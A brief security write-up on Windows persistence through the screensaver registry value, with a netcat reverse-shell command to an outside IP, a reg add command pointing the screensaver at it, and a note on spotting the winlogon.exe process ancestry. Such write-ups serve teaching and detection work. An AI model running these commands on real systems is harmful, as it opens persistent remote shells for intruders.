Execution

To achieve persistence, the attacker can modify SCRNSAVE.EXE value in the registry HKCU\Control Panel\Desktop\ and change its data to point to any malicious file.

In this test, I will use a netcat reverse shell as my malicious payload:

c:\shell.cmd@victim
C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe

Let's update the registry:

The same could be achieved using a native Windows binary reg.exe:

attacker@victim
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\shell.cmd

Observations

Note the process ancestry on the victim system - the reverse shell process traces back to winlogon.exe as the parent process, which is responsible for managing user logons/logoffs. This is highly suspect and should warrant a further investigation:

References

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